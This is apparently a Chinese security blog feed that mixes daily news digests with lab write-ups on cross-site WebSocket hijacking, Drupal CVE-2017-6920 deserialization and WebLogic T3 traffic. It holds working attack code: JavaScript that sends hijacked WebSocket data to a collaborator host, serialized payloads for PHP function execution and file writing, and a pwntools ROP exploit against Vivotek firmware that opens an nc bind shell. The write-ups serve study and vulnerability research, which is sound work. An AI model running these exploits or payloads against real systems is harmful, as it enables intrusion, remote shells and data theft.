浅析websocket劫持
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。 WebSocket劫持漏洞导读 WebSocket协议技术 WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与http协议内容本身没有关系。WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手,它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道 websocket是持久化的协议,而http是非持久的 当通信协议从 http://或 https://切换到 ws://或 wss://后,表示应用已经切换到了WebSocket协议通信状态 WebSocket连接的建立需要经过连接请求、握手、连接建立三个步骤,如下图   建立WebSocket连接 WebSocket连接通常是使用客户端JavaScript创建的 var ws = new WebSocket("wss://normal-website.com/chat"); //该`wss`协议建立在一个加密的TLS连接的WebSocket,而`ws`协议使用未加密的连接。 为了建立连接,浏览器和服务器通过HTTP执行WebSocket握手。浏览器发出WebSocket握手请求,如下所示: GET /chat HTTP/1.1 Host: normal-website.com Sec-WebSocket-Version: 13 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w== Connection: keep-alive, Upgrade Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2 Upgrade: websocket 如果服务器接受连接,则它将返回WebSocket握手响应,如下所示: HTTP/1.1 101 Switching Protocols Connection: Upgrade Upgrade: websocket Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk= 此时,网络连接保持打开状态,并且可以用于向任一方向发送WebSocket消息。 请求和响应中 的Connection和Upgrade标头表示这是WebSocket握手 WebSocket安全漏洞 原则上,由于WebSocket涉及多个层面,任何与WebSocket有关的web安全漏洞都有可能出现 • 传输到服务器的用户的输入以不安全方式处理,出现SQL注入或XML外部实体注入等 • 通过WebSockets达到的某些盲洞(blind vulnerabilities)可能仅可使用带外(OAST)技术才能检测到 • 如果攻击者控制的数据通过WebSockets传输到其他应用程序用户,则可能导致XSS或其他客户端漏洞   本文主要讲探讨的是跨站WebSocket劫持漏洞-CSWSH 跨站WebSocket劫持漏洞 什么是跨站WebSocket劫持漏洞 Websocket带来的安全特性在一定程度上缓解了一些特性的攻击,但在日渐发展的攻击方式下,其相关漏洞也不断曝光,其中最常见的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞 我们可以看见WebSocket的链接过程与http是极其相似的,WebSocket协议在握手阶段是基于HTTP的。它在握手期间是没有规定服务器如何验证客户端的身份,因此,服务器需要采用http客户端认证机制来辨明身份,如常见的cookie、http头基本认证等。这就导致了容易被攻击者利用恶意网页伪装用户的身份,与服务器建立WebSocket连接 CSWSH与跨站请求伪造CSRF的漏洞原理极其类似  相较于CSRF漏洞只能发送伪造请求,跨站WebSocket劫持漏洞却可以建立了一个完整的读/写双向通道,且不受同源策略的限制,这在很大意义上都造成了更大的危害和可操作性 跨站WebSocket劫持漏洞可能带来的影响 • 执行伪造成用户的未授权操作 与常规CSRF类似,攻击者可以伪造成用户利用生成的WebSocket通道以执行一些敏感操作 • 检索用户可访问的敏感数据 与常规CSRF不同的时,CSWSH是建立一个可双向交互的通道,当客户端向用户发送敏感数据时,攻击者可以将其拦截并记录得到敏感信息 跨站WebSocket劫持漏洞靶场演示 靶机环境 • 靶场  借助于burpsuite练兵场  https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab• 浏览器环境  edge浏览器 靶场解析 • 点击启动靶场    • 观察发现存在实时聊天界面,观察发现没有CSRF的令牌 • 将代码复制到body  <script>   var ws = new WebSocket('wss://your-websocket-url');   ws.onopen = function() {     ws.send("READY");   };   ws.onmessage = function(event) {     fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});   }; </script> • wss://your-websocket-url替换成目前url • https://your-collaborator-url替换成Burp Collaborator Client或自己搭建的Burp Collaborator 服务器 • 可以点击view exploit测试,也可以直接发给攻击方  • 然后在Burp Collaborator Client多poll几下 • 翻看一下得到账号密码  然后我选择再用dnslog验证一遍     确实可以带出数据,执行敏感操作 如何防范跨站WebSocket劫持漏洞 • 校验Origin头 • 双向将WebSocket传输数据视为不可信 • 对WebSocket握手信息进行加密保护 • 硬编码WebSockets终结点的URL 参考文章 • https://portswigger.net/web-security/websockets • https://zhuanlan.zhihu.com/p/347738547
网络安全日报 2022年07月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、日本电子游戏发行商万代南梦宫确认遭网络攻击 https://www.securityweek.com/japanese-video-game-publisher-bandai-namco-confirms-cyberattack 2、前 CIA 程序员因 2017 年将"Vault 7"泄露给维基解密被定罪 https://www.securityweek.com/cia-coder-convicted-massive-leak-us-hacking-tools 3、微软发布 macOS App 沙盒逃逸漏洞(CVE-2022-26706)的PoC https://securityaffairs.co/wordpress/133211/hacking/macos-sandbox-bypass-exploit.html 4、Cloudflare缓解的6 月最大HTTPS DDoS 攻击是由Mantis 僵尸网络发起的 https://securityaffairs.co/wordpress/133233/hacking/mantis-botnet-record-ddos-attack.html 5、SAP 修补 Business One 产品中的高危漏洞 https://www.securityweek.com/sap-patches-high-severity-vulnerabilities-business-one-product 6、研究人员开发并发布了 Hive 勒索软件解密工具 https://www.techtarget.com/searchsecurity/news/252522715/Researcher-develops-Hive-ransomware-decryption-tool 7、澳大利亚迪肯大学遭到黑客入侵导致学生信息泄露 https://blogs.deakin.edu.au/deakinlife/2022/07/12/deakin-has-been-targeted-in-a-cyber-attack-this-week-heres-what-happened-and-what-you-should-do/ 8、 QQ安全中心揭秘新的盗号手段:利用好友互助渠道与同情心 https://www.cnbeta.com/articles/tech/1291505.htm 9、Retbleed推测性执行攻击缓解代码已并入Linux内核 https://www.cnbeta.com/articles/tech/1291757.htm 10、WPS 回应删除用户本地文件事件,重申不会侵犯用户隐私 https://www.ithome.com/0/629/303.htm
网络安全日报 2022年07月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、联想修补了影响700多款型号笔记本电脑的 UEFI 代码执行漏洞 https://www.securityweek.com/lenovo-patches-uefi-code-execution-vulnerability-affecting-many-laptops 2、微软发布用于生成 SBOM (软件材料清单)的开源工具包 https://www.securityweek.com/microsoft-releases-open-source-toolkit-generating-sboms 3、新的推测性执行攻击-Retbleed影响英特尔和AMD处理器 https://www.securityweek.com/retbleed-new-speculative-execution-attack-targets-intel-amd-processors 4、微软警告针对 10,000 多个组织的大规模 AiTM 网络钓鱼攻击 https://thehackernews.com/2022/07/microsoft-warns-of-large-scale-aitm.html 5、研究人员发现了 ChromeLoader 浏览器劫持恶意软件的新变种 https://thehackernews.com/2022/07/researchers-uncover-new-variants-of.html 6、研究人员发现了 Qakbot 恶意软件逃避检测的新手段 https://thehackernews.com/2022/07/researchers-uncover-new-attempts-by.html 7、立陶宛能源公司Ignitis集团遭到大规模DDOS攻击 https://www.infosecurity-magazine.com/news/lithuanian-energy-ddos-attack/ 8、迪士尼Instagram和Facebook帐户被黑,并被攻击者发布恶意内容 https://www.infosecurity-magazine.com/news/disneylands-instagram-facebook-hack/ 9、VMware修补了11月披露的vCenter Server高危提权漏洞 https://www.bleepingcomputer.com/news/security/vmware-patches-vcenter-server-flaw-disclosed-in-november/ 10、AWS 修复了其Kubernetes服务中的身份验证漏洞 https://www.theregister.com/2022/07/12/authentication_bug_aws_kubernetes
【漏洞分析】Drupal 远程代码执行(CVE-2017-6920)
前几天在参加 FOFA-攻防挑战赛时,遇到了 Drupal 的盲盒漏洞环境,最终确定漏洞为 CVE-2017-6920 ,但是还是无法 getflag ,因为网上相关参考文章并不是很多,大多都只是简单的复现了,于是就想着对这个漏洞进行一个详细的分析。 漏洞描述 环境搭建 环境的搭建,我们可以选择 p神 的 https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2017-6920 上的环境,我们也可以利用 https://vulfocus.cn/ 的在线环境,或者将镜像拉取下来本地启动。 因为 p 神的环境还需要再进行配置 yaml ,为了方便,我们这里就选择 vulfocus 的镜像来进行复现学习    docker pull vulfocus/drupal-cve_2017_6920:latest docker ps    访问随机生成的端口 49156 http://127.0.0.1:49156/ 漏洞复现 访问登录界面 http://127.0.0.1:49156/user/login 输入账号密码 admin:admin123 登录成功 登陆成功后访问路由 /admin/config/development/configuration/single/import 填写相关参数   !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}" 点击 import 触发漏洞 漏洞分析 漏洞存在于 drupal 8.3.3 所以我们下载 存在漏洞的版本 drupal 8.3.3 和修复的版本 drupal 8.3.4 进行对比,发现漏洞位于 core\lib\Drupal\Component\Serialization\YamlPecl.php 我们看到修改的位置有这么一句 // We never want to unserialize !php/object. 就大概可以推测出是在这个地方,以!php/object 为开头时 会产生反序列化漏洞    为了方便进行调试,所以我们换一下 docker 启动时的命令,方便启动后进行 php 远程调试,在配置调试环境时出现了各种问题,本来是在本地搭建 docker 环境进行调试的,但是一直没有成功,所以就采用在虚拟机中搭建 docker 环境,采用远程调试。    docker run -itd -p 80:80 vulfocus/drupal-cve_2017_6920:latest wget https://xdebug.org/files/xdebug-2.5.5.tgz docker cp xdebug-2.5.5.tgz 30:/xdebug-2.5.5.tgz docker exec -it 30 /bin/bash cd / tar xvf xdebug-2.5.5.tgz cd xdebug-2.5.5 phpize find / -name php-config `/etc/alternatives/php-config`   `/usr/bin/php-config`   `/var/lib/dpkg/alternatives/php-config` ./configure --enable-xdebug --with-php-config=/usr/bin/php-config make && make install ==xdebug 被安装到了 /usr/lib/php5/20121212/== find / -name php.ini `/etc/php5/cli/php.ini`   `/etc/php5/apache2/php.ini` vim /etc/php5/apache2/php.ini ==修改 php.ini 文件== shift + g ==定位到最后一行== echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php sudo service apache2 restart       修改php.ini配置文件,在文件中追加以下内容 [Xdebug] zend_extension=/usr/lib/php5/20121212/xdebug.so;指定Xdebug扩展文件的路径 xdebug.remote_enable=1 ;是否开启远程调试 xdebug.remote_handler=dbgp ;指定远程调试的处理协议 xdebug.remote_mode=req ;可以设为req或jit,req表示脚本一开始运行就连接远程客户端,jit表示脚本出错时才连接远程客户端。 xdebug.remote_host=192.168.222.1 ;指定远程调试的主机名(安装phpstorm的主机ip) xdebug.remote_port=9001 ;指定远程调试的端口号 xdebug.idekey="PHPSTORM" ;指定传递给DBGp调试器处理程序的IDE Key xdebug.remote_enable=on; [Xdebug] zend_extension=/usr/lib/php5/20121212/xdebug.so; xdebug.remote_enable=1; xdebug.remote_handler=dbgp; xdebug.remote_mode=req; xdebug.remote_host=192.168.222.1; xdebug.remote_port=9001; xdebug.idekey="PHPSTORM"; 访问 http://192.168.222.129/phpinfo.php 发现 xdebug 被安装成功    先将代码拷贝出来 docker cp 30:/var/www/html html 利用 PHPSTROM 打开项目代码 File -> Settings -> Languages & Frameworks -> PHP -> Debug 配置 Servers 此处要注意,需要直接指定到网站的目录位置 配置PHP Web Application 配置完成后打开右上角的电话按钮 打开浏览器的插件 Xdebug helper    在 phpinfo 处加载断点,并访问 http://192.168.222.129/phpinfo.php成功加载到断点 之前也配置过 PHP 的远程调试环境,但是在 Docker 里面调试的时候,配置了很久的调试环境,最后才成功,中间出了大大小小无数的问题,遇到的最大的问题是最开始端口一直显示被占用状态,因为我启动 docker 时的命令是 docker run -itd -p 80:80 -p 9001:9001 vulfocus/drupal-cve_2017_6920:latest 我一直认为说这个 9001 端口也要对外映射出来,但是我在调试时发现一直提示端口被占用,百思不得其解,采用百度大法看到了这么一句 不要在docker-compose 中添加 9000 端口 ,我灵机一动,将 -p 9001:9    正式开始调试分析 漏洞的最终触发位置是在 core/lib/Drupal/Component/Serialization/YamlPecl.php::decode 对传入的 参数 $raw 如果可控的话,如果使用!php/object,那么yaml_parse将会以反序列化(unserialize)的形式来进行处理字符串。 我们看在哪里可以调用 YamlPecl.php::decode core/lib/Drupal/Component/Serialization/Yaml.php::decode decode 函数中 调用了静态 getSerializer 函数    如果存在 yaml 扩展,$serializer 就使用 YamlPecl 类,之后会调用 YamlPecl 类中的 decode 函数; 如果不存在 yaml 扩展,$serializer 就使用 YamlSymfony 类,之后会调用 YamlSymfony 类中的 decode 函数。 目前的环境是已经安装了 yaml 扩展了,所以我们只需要寻找,可控输入的 Yaml::decode core/modules/config/src/Form/ConfigSingleImportForm.php::validateForm 如此我们就已经确定了漏洞的触发位置,以及漏洞的入口点,但是距离漏洞的利用成功还差一个 payload 我们已经知道这个漏洞是一个反序列化漏洞,我们就要找出这个系统中存在的反序列化链,针对这个漏洞有两条利用链路,任意命令执行以及任意文件写入 任意命令执行 html\vendor\guzzlehttp\psr7\src\FnStream.php 反序列化这个类造成任意无参数函数执行 <?php namespace GuzzleHttp\Psr7; class FnStream {  public function __construct(array $methods) {    $this->methods = $methods;    // Create the functions on the class    foreach ($methods as $name => $fn) {      $this->{'_fn_' . $name} = $fn;   } }  public function __destruct() {    if (isset($this->_fn_close)) {      call_user_func($this->_fn_close);   } } } $fn = new FnStream(array('close'=>'phpinfo')); echo(serialize($fn)) ?> 序列化字符串加上yaml的!php/object !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:7:\"methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}" 任意文件写入 html\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php 反序列化这个类达到任意文件写入的效果,但是因为这个系统启动并不是 root 权限启动,所以只有在 tmp 目录下写文件的权限 <?php require __DIR__.'/vendor/autoload.php'; use GuzzleHttp\Cookie\FileCookieJar; use GuzzleHttp\Cookie\SetCookie; $Limerence = new FileCookieJar('/tmp/shell.txt'); $payload = '1'; $data=array(    'Name' => "Limerence",    'Value' => "Limerence",    'Domain' => $payload,    'Expires' => time() ); $Limerence->setCookie(new SetCookie($data)); echo(addslashes(serialize($Limerence))); !php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:14:\"/tmp/shell.txt\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:0;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCoo    漏洞修复 根据对比官方对 drupal 8.3.4 的修补,我们得出 针对低于版本 drupal 8.3.4 的代码中 在 core\lib\Drupal\Component\Serialization\YamlPecl.php 的 decode 函数修改为 public static function decode($raw) {    static $init;    if (!isset($init)) {      ini_set('yaml.decode_php', 0);      $init = TRUE;   }    if (!trim($raw)) {      return NULL;   }    set_error_handler([__CLASS__, 'errorHandler']);    $ndocs = 0;    $data = yaml_parse($raw, 0, $ndocs, [      YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks',   ]);    restore_error_handler();    return $data; }    总结反思 之前也实现过远程调试,但是对 docker 内的系统进行调试还没有做过,不对的试错过程中,也对 docker 进一步加深的认知与了解。
网络安全日报 2022年07月13日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软周二补丁日修复了84个漏洞,包括已被利用的0day漏洞 https://www.securityweek.com/microsoft-patch-tuesday-84-windows-vulns-including-already-exploited-zero-day 2、西门子、施耐德电气发布补丁解决了 59 个漏洞 https://www.securityweek.com/ics-patch-tuesday-siemens-schneider-electric-address-59-vulnerabilities 3、日本娱乐公司万代南梦宫遭ALPHV/BlackCat 勒索软件攻击 https://www.cnbeta.com/articles/tech/1291321.htm 4、微软宣布全面推出 Windows Autopatch 功能 https://securityaffairs.co/wordpress/133139/security/microsoft-autopatch.html 5、基于云的挖掘攻击滥用 GitHub Actions 和 Azure VM https://securityaffairs.co/wordpress/133125/malware/cryptocurrency-mining-cloud-infrastructure.html 6、研究人员发现可以通过滥用OAuth流程来执行单击帐户劫持 https://portswigger.net/daily-swig/dirty-dancing-in-oauth-researcher-discloses-how-cyber-attacks-can-lead-to-account-hijacking 7、微软撤回默认屏蔽Office宏的计划 https://www.solidot.org/story?sid=72078 8、美国FBI用于钓鱼的加密通信平台Anom代码被公开 https://www.secrss.com/articles/44525 9、英国格洛斯特议会服务遭网络攻击居民数据泄露 https://www.gloucestershirelive.co.uk/news/gloucester-news/hackers-access-bank-details-signatures-7308173 10、印度果阿邦的洪水监测系统遭到勒索软件攻击 https://ciso.economictimes.indiatimes.com/news/hackers-target-wrds-flood-monitoring-system/92739107
基于某商产品WeblogicT3反序列化告警流量分析
前言 护网时平时遇到的针对weblogic等中间件漏洞利用以及漏洞扫描的很多,但是我看到某态势的流量的时候发现态势的探针的监测不单单是基于披露的poc或者exp来产生的告警。 这里一万多条告警。 环境搭建 这里我使vulhub复现几个cve来分析流量,这里的目的主要是对比wireshark、科*分析软件和某商安全设备的全流量的数据包告警分析。 cd CVE-2020-14882 docker-compose up -d docker ps http://192.168.166.130:7001/console/login/LoginForm.jsp 分析 直接使用wireshark抓包是无法抓取不到数据包的,原因是nat模式下不走网卡,所以这里涉及到了tips就是添加路由 route add 192.168.166.130 mask 255.255.255.255 192.168.0.1 用完删除 route delete 192.168.166.130 mask 255.255.255.255 192.168.0.1 但是此时似乎是没有用的,因为我们在进行漏洞利用的时候走的是http协议,传输层走的是tcp但是依旧是无法看到详细的流量数据。 设置虚拟机为桥接模式,再次尝试获取流量 已成功获取到数据流量。使用命令查看对目标攻击的所有流量 ip.addr==192.168.0.120 追踪一下tcp流 直接追踪t3流量,因为weblogic使用的协议为T3,当然态势内的漏洞监测也是基于t3协议来告警触发的。 上面两部分的内容是客户端和服务端的信息 t3 7.0.0.0 AS:10 HL:19 HELO:12.2.1.3.false AS:2048 HL:19 MS:10000000 PN:DOMAIN 在使用paylaod的时候会给服务端发送请求,正常情况下我们能够找到的poc或者说exp的工作原理大部分都是基于版本来校验的 当然这里的环境版本为12.2.1.3.0 这里根据不通的流可以看出来。这一点儿的话其实可以根据python脚本的内容也能看出来校验机制,这一点儿跟很多厂商的漏扫的原理应该是一致的。 这里我执行了几条命令,来查看一下流量特征 whoami ls pwd 上传的shell.jsp文件做编码 序列化的部分就是在这一部分完成的 回头看一下某报警日志的流量 这里触发规则库的内容是由于探针监测到流量中存在序列化的操作就直接触发了,所以这个时候正常的日志也是会触发漏洞预警。 可能使用wireshark对tcp的交互看着不太清晰,使用科*网络分析 重新抓包 这是所有的攻击日志 可以看到tcp流中数据交互的流量包。 因为这里只显示数据块部分的数据,那么这里可以看到,同样文件上传的时候内容是分块传输的 分作了四个数据块进行传输。 安全设备的告警 上面是tcp部分流量 请求体内容 那么告警行为的触发已经不是基于weblogic正常利用时的流量了,此时只是在tcp的传输阶段就已经拒绝连接了。 思考 安全设备流量监控下的预警以及触发条件是基于全流量还是部分流量以及规则条件产生的,规则库基于POC以及EXP,但是可能不会考虑到是否有完整的利用链,所以用户的体验感就比较难受了。
网络安全日报 2022年07月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、专家警告新的 0mega 勒索软件针对全球组织 https://securityaffairs.co/wordpress/133098/malware/0mega-ransomware.html 2、黑客利用虚假工作机会从 Axie Infinity 窃取 5.4 亿美元 https://securityaffairs.co/wordpress/133113/cyber-crime/axie-infinity-hack-fake-job-offer.html 3、研究表明未来五年在线支付欺诈将高达 3430 亿美元 https://www.infosecurity-magazine.com/news/online-payment-fraud-five-years/ 4、PyPl 正在为关键项目推出 2FA https://www.zdnet.com/article/python-programming-pypl-is-rolling-out-2fa-for-critical-projects-giving-away-4000-security-keys/ 5、Anubis Network 携新的 C2 服务器回归大规模网络钓鱼活动 https://securityaffairs.co/wordpress/133115/hacking/anubis-networks-new-c2.html 6、英国金融服务公司Aon遭黑客入侵泄露客户信息 https://www.infosecurity-magazine.com/news/aon-hack-sensitive-information/ 7、欧盟网络安全组织ENISA发布新威胁态势分析法 https://securityaffairs.co/wordpress/132973/security/enis-athreat-landscape-methodology.html 8、QNAP警告说新勒索软件Checkmate正针对NAS设备 https://securityaffairs.co/wordpress/132989/malware/checkmate-ransomware-targets-qnap-nas.html 9、漏洞百出的 "用谷歌登录 "API让加密货币面临账户接管风险 https://www.darkreading.com/application-security/cryptocurrency-api-vulnerability-opens-wallets-to-account-takeovers 10、黑客公布伊朗钢铁制造企业近20G绝密文件 https://www.secrss.com/articles/44473
网络安全日报 2022年07月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、新的“HavanaCrypt”勒索软件以假谷歌软件更新的形式分发 https://www.securityweek.com/new-havanacrypt-ransomware-distributed-fake-google-software-update 2、Fortinet 修补了多个产品中的高危漏洞 https://www.securityweek.com/fortinet-patches-high-severity-vulnerabilities-several-products 3、研究人员演示了如何通过 Rolling-PWN 攻击解锁多款本田车型 https://securityaffairs.co/wordpress/133090/hacking/honda-rolling-pwn-attack.html 4、法国电话运营商 La Poste Mobile 遭受勒索软件攻击 https://securityaffairs.co/wordpress/133080/cyber-crime/la-poste-mobile-ransomware.html 5、Apple 计划推出锁定模式功能以保护用户免受"高度针对性的网络攻击" https://securityaffairs.co/wordpress/133065/mobile-2/apple-lockdown-mode.html 6、Emsisoft发布 AstraLocker 和 Yashma 勒索软件免费解密工具 https://securityaffairs.co/wordpress/133014/malware/emsisoft-astralocker-yashma-decryptor.html 7、Atlassian修复了Jira中的服务器端请求伪造漏洞 https://portswigger.net/daily-swig/atlassian-patches-full-read-ssrf-in-jira 8、思科发布安全更新修复了影响多个产品的漏洞 https://securityaffairs.co/wordpress/133020/security/cisco-cisco-expressway-flaw.html 9、攻击者利用Follina漏洞部署Rozena后门 https://www.fortinet.com/blog/threat-research/follina-rozena-leveraging-discord-to-distribute-a-backdoor 10、Node.js修复多个RCE和HTTP请求走私漏洞 https://portswigger.net/daily-swig/node-js-fixes-multiple-bugs-that-could-lead-to-rce-http-request-smuggling
vivotek栈溢出漏洞复现
一、前言 近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。 二、固件仿真 虚拟机环境:Ubuntu 20.04 gdb版本:GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2 固件下载地址:https://github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip 从上面的地址下载还有漏洞的固件,使用binwalk分离出来文件系统,发现问题文件httpd位于/usr/sbin目录下,使用file命令查看文件类型 因为是arm架构的所以没法在本地跑,使用QEMU模拟运行 因为QEMU模拟的环境不会挂载dev和proc,所以我们这边将固件系统的这两个目录挂载到虚拟机的dev和proc中。 sudo mount -o bind /dev ./squashfs-root/dev/ sudo mount -t proc /proc/ ./squashfs-root/proc/ 再次运行httpd文件,发现这次报了其他的错误 打开ida定位报错语句的位置,可以看到/etc/conf.d/boa/boa.conf文件打开失败导致的 本地ls查看会发现conf.d是链接到/mnt/flash/etc/conf.d的,并且该目录为空 尝试在其他目录中寻找boa.conf文件,最终在如下的目录找到了它,将此目录下的/etc复制到/mnt/flash/目录下 再次运行httpd文件,发现报了如下错误 老办法通过IDA搜索报错字符串,定位到如下位置,可以发现报错原因是因为此程序中使用gethostname函数将主机名保存在rlimits中,并使用gethostbyname函数通过主机名找到IP地址。但是最终因为我们的主机名与固件中的主机名不同所以无法获取到IP地址。 这里我们可以通过hostname命令查看本机名,然后以我的本机名为例修改squashfs-root/etc/hosts中的内容 echo "127.0.0.1 amall-virtual localhost" > squashfs-root/etc/hosts 修改完成后再次运行httpd文件,可以看到已经成功启动 三、漏洞分析 我们根据poc来验证漏洞 echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"  | netcat -v 127.0.0.1 80 验证成功,可以看到程序崩溃信息。我们根据poc可以了解到漏洞是在Content-Length中出现的,从IDA中搜索字符串然后查看交叉引用定位到漏洞位置所在 根据反汇编的代码我们可以了解到,程序在处理Content-Length字符串的内容时,使用strncpy函数保存从`:`到`\n`之间的字符串,但是可以看到其中并没有对长度进行检测导致了用户可以输入任意长度的字符串造成栈溢出。 四、漏洞复现 在arm的栈溢出中,我们首要考虑的就是如何劫持pc寄存器,而这个偏移可以通过动调获得。 看一下保护,开启了NX保护所以无法利用shellcode,考虑使用ROP来绕过NX保护。 为了能够查看程序的执行流程,这里选择将文件系统和gdbserver一起传到qemu虚拟机里,下面的内容根据[driverxdw](https://xz.aliyun.com/t/5054#toc-2)师傅的这篇文章整理得到。 从arm-debian的qemu镜像地址下载如下三个文件 https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile https://people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2 在本地新建一张网卡用于和qemu虚拟机通信 sudo tunctl -t tap0 -u `whoami` sudo ifconfig tap0 192.168.2.1/24 启动qemu虚拟机镜像 qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic 启动成功后会让你输入用户名密码,默认用户名/密码:root/root,然后在qemu虚拟机中配置网卡信息,这样qemu虚拟机就可以和本地进行通信了 ifconfig eth0 192.168.2.2/24 接下来使用ftp把固件的文件系统get到qemu虚拟机中,此时我们就可以挂载/dev和/proc了。 mount -o bind /dev ./squashfs-root/dev mount -t proc /proc/ ./squashfs-root/proc/ 最后切换到固件的文件系统中,并运行漏洞文件 chroot squashfs-root sh ./usr/sbin/httpd 这时我们就可以开始调试工作了,采用gdb-multiarch&gdbserver的方式。但是在试过网上编译好的gdbserver以后都无法在远程target remote到,最后在[这篇文章](https://bbs.pediy.com/thread-220907.htm)中找到了答案,按照上面的步骤我编译了一份与我本地gdb版本相同的gdbserver-static,文件上传到github上了有需要的师傅可以自行下载。 github地址:https://github.com/AmaIIl/gdbserver-static-9.2-arm 有了对应版本的gdbserver就可以开始远程调试了,具体命令如下所示 ./gdbserver-static 127.0.0.1:1234 --attach <server pid> 然后写一个gdbinit把重复的命令写进去方便调试 # gdb-multiarch -x gdbinit file ./usr/sbin/httpd set architecture arm target remote 192.168.2.2:1234 我们将断点下在函数退栈的位置,然后计算其与输入地址的差值就可以得到溢出偏移。为了降低利用难度这里关闭qemu虚拟机的aslr保护,可以节省几步内存泄露的步骤。 sudo sysctl -w kernel.randomize_va_space=0 通过动调我们可以得到需要的所有条件:溢出偏移、栈地址、libc地址。但是要构造ROP还需要一些gadget,使用ropper搜索我们需要的gadget,最终我们需要构造的就是system("XXX")的效果,所以需要能控制pc和r0寄存器的gadget,同时因为程序漏洞使用strncpy函数所以gadget中不能含有零字符,所以最终选择了这两段gadget 0x00048784: pop {r1, pc}; 0x00016aa4: mov r0, r1; pop {r4, r5, pc}; exp如下所示 from pwn import * context.log_level = 'debug' r = lambda : p.recv() rx = lambda x: p.recv(x) ru = lambda x: p.recvuntil(x) rud = lambda x: p.recvuntil(x, drop=True) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) close = lambda : p.close() debug = lambda : gdb.attach(p) shell = lambda : p.interactive() p = remote('192.168.2.2', 80) libc = ELF('./squashfs-root/lib/libc.so.0') stack = 0xbeffeb64 base = 0xb6f2d000 system = base+libc.sym['system'] pop_r1_pc = 0x00048784+base mov_r0_r1 = 0x00016aa4+base # mov r0, r1; pop {r4, r5, pc};  head = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:" payload = 'b'*(0x00003c-8)+p32(pop_r1_pc)+p32(stack)+p32(mov_r0_r1)+'b'*8+p32(system) end = 'nc  -lp 6666 -e /bin/sh;'+'\r\n\r\n' sl(head+payload+end) shell() 脚本执行成功后会开启6666端口,这时只要用nc远程连接即可getshell 五、总结 还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错,不过好在最后都一一解决了。2017年的这个栈溢出漏洞整体利用难度不算高,感兴趣的师傅们可以动手试着复现一下。
网络安全日报 2022年07月08日
